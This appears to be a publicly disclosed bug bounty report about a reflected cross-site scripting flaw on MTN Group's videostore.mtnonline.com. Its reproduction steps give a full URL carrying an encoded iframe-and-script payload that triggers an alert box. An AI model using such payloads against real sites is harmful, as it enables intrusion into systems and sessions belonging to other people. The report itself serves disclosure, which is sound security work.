HexBrain

MTN Group · Report #1646248

Reflected xss on videostore.mtnonline.com

Validstatus
highseverity
10upvotes
25 Sept 2022disclosed

How it was found

Summary:

Hi, I found reflected xss vuln on videostore.mtnonline.com

Steps To Reproduce:

  1. Open browser
  2. Go to https://videostore.mtnonline.com/GL/Default.aspx?PId=126&CId=5&OprId=11&Ctg=OF25MTNNGVS_LapsInTime%22%27testxxx%3E%3Ciframe%20src=%22data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E%22%3E%3C/iframe%3E url
  3. Browser show alert popup

Impact

We can run javascript code

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original